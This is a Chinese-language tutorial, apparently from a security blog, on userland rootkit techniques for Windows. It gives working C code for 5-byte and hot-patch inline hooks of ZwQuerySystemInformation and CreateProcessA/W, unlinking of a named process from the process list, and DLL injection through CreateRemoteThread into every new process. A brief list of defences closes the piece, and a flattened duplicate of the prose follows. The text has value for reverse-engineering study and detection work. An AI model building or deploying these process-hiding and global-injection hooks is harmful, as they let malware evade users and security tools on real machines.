API钩取:进程的隐藏与全局钩取
字数 1552 2025-08-25 22:58:20

API钩取:进程的隐藏与全局钩取技术详解

概述

API钩取是一种通过修改API函数执行流程来实现特定功能的技术。本文详细介绍了如何通过API钩取实现进程隐藏功能,并逐步完善了三种不同版本的实现方案(stealth.dll、stealth2.dll、stealth3.dll)。

基本原理

进程隐藏(Rootkit)的核心原理是通过修改系统API的执行流程,使得目标进程在进程枚举时不被显示。主要技术手段包括:

  1. IAT钩取:修改导入地址表中的函数指针
  2. API代码修改:直接修改API函数的机器代码

当目标API不存在于IAT表时,必须使用API代码修改技术,具体分为:

  • 5字节钩取
  • 7字节钩取(热补丁技术)

关键API分析

ZwQuerySystemInformation

这是实现进程隐藏的关键API,位于ntdll.dll中。它用于获取系统信息,当SystemInformationClass参数为5(SystemProcessInformation)时,返回系统中所有进程的信息。

typedef NTSTATUS(WINAPI* PFZWQUERYSYSTEMINFORMATION)(
    SYSTEM_INFORMATION_CLASS SystemInformationClass,
    PVOID SystemInformation,
    ULONG SystemInformationLength,
    PULONG ReturnLength
);

返回的进程信息以_SYSTEM_PROCESS_INFORMATION结构体链表形式存在:

typedef struct _SYSTEM_PROCESS_INFORMATION {
    ULONG NextEntryOffset;  // 下一个结构体的偏移量
    ULONG NumberOfThreads;
    BYTE Reserved1[48];
    PVOID Reserved2[3];     // 其中Reserved2[1]存储进程名
    HANDLE UniqueProcessId; // 进程PID
    // 其他成员省略...
} SYSTEM_PROCESS_INFORMATION, *PSYSTEM_PROCESS_INFORMATION;

CreateProcessA/W

用于实现全局钩取的关键API,位于kernel32.dll中。通过钩取此API可以在新进程创建时自动注入我们的DLL。

typedef BOOL(WINAPI* PFCREATEPROCESSA)(
    LPCTSTR lpApplicationName,
    LPTSTR lpCommandLine,
    LPSECURITY_ATTRIBUTES lpProcessAttributes,
    LPSECURITY_ATTRIBUTES lpThreadAttributes,
    BOOL bInheritHandles,
    DWORD dwCreationFlags,
    LPVOID lpEnvironment,
    LPCTSTR lpCurrentDirectory,
    LPSTARTUPINFO lpStartupInfo,
    LPPROCESS_INFORMATION lpProcessInformation
);

钩取技术实现

5字节钩取技术

原理:将API函数开头的5个字节替换为JMP指令(0xE9),跳转到自定义函数。

实现步骤:

  1. 保存原始API的前5字节
  2. 计算跳转偏移:目标地址 - 当前地址 - 5
  3. 构造JMP指令并写入API开头
  4. 恢复内存保护属性
BOOL hook_code(LPCSTR szDllName, LPCSTR szFuncName, PROC prNew, PBYTE pOrgbyte) {
    FARPROC prOrg = GetProcAddress(GetModuleHandleA(szDllName), szFuncName);
    PBYTE pByte = (PBYTE)prOrg;
    
    if(pByte[0] == 0xE9) return FALSE; // 已挂钩则跳过
    
    DWORD dwOldProtect;
    VirtualProtect((LPVOID)prOrg, 5, PAGE_EXECUTE_READWRITE, &dwOldProtect);
    
    memcpy(pOrgbyte, prOrg, 5); // 保存原始字节
    
    DWORD dwAddress = (DWORD)prNew - (DWORD)prOrg - 5;
    byte Buf[5] = {0xE9};
    memcpy(&Buf[1], &dwAddress, 4);
    
    memcpy(prOrg, Buf, 5); // 写入跳转指令
    VirtualProtect((LPVOID)prOrg, 5, dwOldProtect, &dwOldProtect);
    
    return TRUE;
}

7字节钩取(热补丁技术)

原理:利用API函数前7字节的特殊结构(5个0xCC + mov edi,edi),将mov edi,edi替换为短跳转(EB F9),在前5字节写入长跳转。

实现步骤:

  1. 在API函数前5字节写入JMP指令
  2. 将mov edi,edi(8B FF)替换为短跳转EB F9(跳转到前5字节)
  3. 调用原始API时从+2地址开始执行
BOOL hook_code_hotpatch(LPCSTR szDllName, LPCSTR szFuncName, PROC prNew) {
    FARPROC pFunc = GetProcAddress(GetModuleHandleA(szDllName), szFuncName);
    PBYTE pByte = (PBYTE)pFunc;
    
    if(pByte[0] == 0xEB) return FALSE; // 已挂钩则跳过
    
    DWORD dwOldProtect;
    VirtualProtect((LPVOID)((DWORD)pFunc-5), 7, PAGE_EXECUTE_READWRITE, &dwOldProtect);
    
    // 计算跳转地址(不需要-5,因为从-5位置开始跳转)
    DWORD dwAddress = (DWORD)prNew - (DWORD)pFunc;
    BYTE Buf[5] = {0xE9};
    memcpy(&Buf[1], &dwAddress, 4);
    
    // 写入长跳转和短跳转
    memcpy((LPVOID)((DWORD)pByte-5), Buf, 5);
    byte buf2[2] = {0xEB, 0xF9};
    memcpy(pFunc, buf2, 2);
    
    VirtualProtect((LPVOID)((DWORD)pFunc-5), 7, dwOldProtect, &dwOldProtect);
    return TRUE;
}

进程隐藏实现

隐藏原理

通过修改ZwQuerySystemInformation返回的进程链表,将要隐藏的进程节点从链表中移除:

  1. 找到目标进程节点
  2. 调整前驱节点的NextEntryOffset,跳过当前节点
  3. 如果是最后一个节点,将前驱节点的NextEntryOffset设为0
while(TRUE) {
    if(pCur->Reserved2[1] != NULL && !_tcsicmp((PWSTR)pCur->Reserved2[1], g_szProcName)) {
        if(pCur->NextEntryOffset == 0)
            pPrev->NextEntryOffset = 0;
        else
            pPrev->NextEntryOffset += pCur->NextEntryOffset;
    } else {
        pPrev = pCur;
    }
    
    if(pCur->NextEntryOffset == 0) break;
    pCur = (PSYSTEM_PROCESS_INFORMATION)((ULONG)pCur + pCur->NextEntryOffset);
}

全局钩取实现

通过钩取CreateProcessA/W,在新进程创建时自动注入DLL:

BOOL WINAPI NewCreateProcessA(...) {
    FARPROC pFunc = GetProcAddress(GetModuleHandleA("kernel32.dll"), "CreateProcessA");
    pFunc = (FARPROC)((DWORD)pFunc + 2); // 热补丁+2跳过钩子
    
    BOOL bRet = ((PFCREATEPROCESSA)pFunc)(...); // 调用原始API
    
    if(bRet) {
        inject(lpProcessInformation->hProcess, INJECT_DLL); // 注入DLL
    }
    
    return bRet;
}

注入程序实现

共享节区

使用共享节区在DLL和注入程序间传递要隐藏的进程名:

#pragma comment(linker,"/SECTION:.SHARE,RWS")
#pragma data_seg(".SHARE")
    TCHAR g_szProcName[MAX_PATH] = {0};
#pragma data_seg()

DLL注入与卸载

// 注入函数
BOOL inject(DWORD dwPID, LPCTSTR szDllPath) {
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID);
    LPVOID lpRemoteBuf = VirtualAllocEx(hProcess, NULL, (_tcslen(szDllPath)+1)*sizeof(TCHAR), MEM_COMMIT, PAGE_READWRITE);
    
    WriteProcessMemory(hProcess, lpRemoteBuf, (LPVOID)szDllPath, (_tcslen(szDllPath)+1)*sizeof(TCHAR), NULL);
    
    LPTHREAD_START_ROUTINE pThreadProc = (LPTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryW");
    HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, pThreadProc, lpRemoteBuf, 0, NULL);
    
    WaitForSingleObject(hThread, INFINITE);
    VirtualFreeEx(hProcess, lpRemoteBuf, 0, MEM_RELEASE);
    CloseHandle(hProcess);
    CloseHandle(hThread);
    return TRUE;
}

// 卸载函数
BOOL Eject(DWORD dwPID, LPCTSTR szDllPath) {
    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, dwPID);
    MODULEENTRY32 me = {sizeof(MODULEENTRY32)};
    
    BOOL bFound = FALSE;
    for(BOOL bMore = Module32First(hSnapshot, &me); bMore; bMore = Module32Next(hSnapshot, &me)) {
        if(!_tcsicmp(me.szModule, szDllPath) || !_tcsicmp(me.szExePath, szDllPath)) {
            bFound = TRUE;
            break;
        }
    }
    
    if(!bFound) return FALSE;
    
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID);
    LPTHREAD_START_ROUTINE pThreadProc = (LPTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(L"kernel32.dll"), "FreeLibrary");
    HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, pThreadProc, (LPVOID)me.modBaseAddr, 0, NULL);
    
    WaitForSingleObject(hThread, INFINITE);
    CloseHandle(hSnapshot);
    CloseHandle(hProcess);
    CloseHandle(hThread);
    return TRUE;
}

版本演进

stealth.dll

基本功能:

  • 使用5字节钩取ZwQuerySystemInformation
  • 通过共享节区传递进程名
  • 需要手动注入所有现有进程

stealth2.dll

改进:

  • 增加对CreateProcessA/W的钩取
  • 自动注入新创建的进程
  • 需要将DLL放在system32目录下

stealth3.dll

优化:

  • 对CreateProcessA/W使用7字节热补丁钩取
  • 调用原始API时无需脱钩,直接从+2地址执行
  • 更稳定可靠

关键点总结

  1. 提权操作:注入前需要启用SE_DEBUG_NAME权限
  2. 异常处理:避免对注入程序自身和系统关键进程进行钩取
  3. 线程同步:在修改API代码时注意内存保护属性的修改与恢复
  4. 全局钩取:通过钩取进程创建API实现对新进程的自动注入
  5. 热补丁优势:比5字节钩取更稳定,原始API功能不受影响

防御措施

  1. 检测API函数开头的JMP指令
  2. 校验关键API的代码完整性
  3. 使用硬件断点监控API修改
  4. 限制进程注入权限
  5. 监控进程间通信和共享内存区域
API钩取:进程的隐藏与全局钩取技术详解 概述 API钩取是一种通过修改API函数执行流程来实现特定功能的技术。本文详细介绍了如何通过API钩取实现进程隐藏功能,并逐步完善了三种不同版本的实现方案(stealth.dll、stealth2.dll、stealth3.dll)。 基本原理 进程隐藏(Rootkit)的核心原理是通过修改系统API的执行流程,使得目标进程在进程枚举时不被显示。主要技术手段包括: IAT钩取 :修改导入地址表中的函数指针 API代码修改 :直接修改API函数的机器代码 当目标API不存在于IAT表时,必须使用API代码修改技术,具体分为: 5字节钩取 7字节钩取(热补丁技术) 关键API分析 ZwQuerySystemInformation 这是实现进程隐藏的关键API,位于ntdll.dll中。它用于获取系统信息,当SystemInformationClass参数为5(SystemProcessInformation)时,返回系统中所有进程的信息。 返回的进程信息以 _SYSTEM_PROCESS_INFORMATION 结构体链表形式存在: CreateProcessA/W 用于实现全局钩取的关键API,位于kernel32.dll中。通过钩取此API可以在新进程创建时自动注入我们的DLL。 钩取技术实现 5字节钩取技术 原理:将API函数开头的5个字节替换为JMP指令(0xE9),跳转到自定义函数。 实现步骤: 保存原始API的前5字节 计算跳转偏移: 目标地址 - 当前地址 - 5 构造JMP指令并写入API开头 恢复内存保护属性 7字节钩取(热补丁技术) 原理:利用API函数前7字节的特殊结构(5个0xCC + mov edi,edi),将mov edi,edi替换为短跳转(EB F9),在前5字节写入长跳转。 实现步骤: 在API函数前5字节写入JMP指令 将mov edi,edi(8B FF)替换为短跳转EB F9(跳转到前5字节) 调用原始API时从+2地址开始执行 进程隐藏实现 隐藏原理 通过修改 ZwQuerySystemInformation 返回的进程链表,将要隐藏的进程节点从链表中移除: 找到目标进程节点 调整前驱节点的NextEntryOffset,跳过当前节点 如果是最后一个节点,将前驱节点的NextEntryOffset设为0 全局钩取实现 通过钩取CreateProcessA/W,在新进程创建时自动注入DLL: 注入程序实现 共享节区 使用共享节区在DLL和注入程序间传递要隐藏的进程名: DLL注入与卸载 版本演进 stealth.dll 基本功能: 使用5字节钩取ZwQuerySystemInformation 通过共享节区传递进程名 需要手动注入所有现有进程 stealth2.dll 改进: 增加对CreateProcessA/W的钩取 自动注入新创建的进程 需要将DLL放在system32目录下 stealth3.dll 优化: 对CreateProcessA/W使用7字节热补丁钩取 调用原始API时无需脱钩,直接从+2地址执行 更稳定可靠 关键点总结 提权操作 :注入前需要启用SE_ DEBUG_ NAME权限 异常处理 :避免对注入程序自身和系统关键进程进行钩取 线程同步 :在修改API代码时注意内存保护属性的修改与恢复 全局钩取 :通过钩取进程创建API实现对新进程的自动注入 热补丁优势 :比5字节钩取更稳定,原始API功能不受影响 防御措施 检测API函数开头的JMP指令 校验关键API的代码完整性 使用硬件断点监控API修改 限制进程注入权限 监控进程间通信和共享内存区域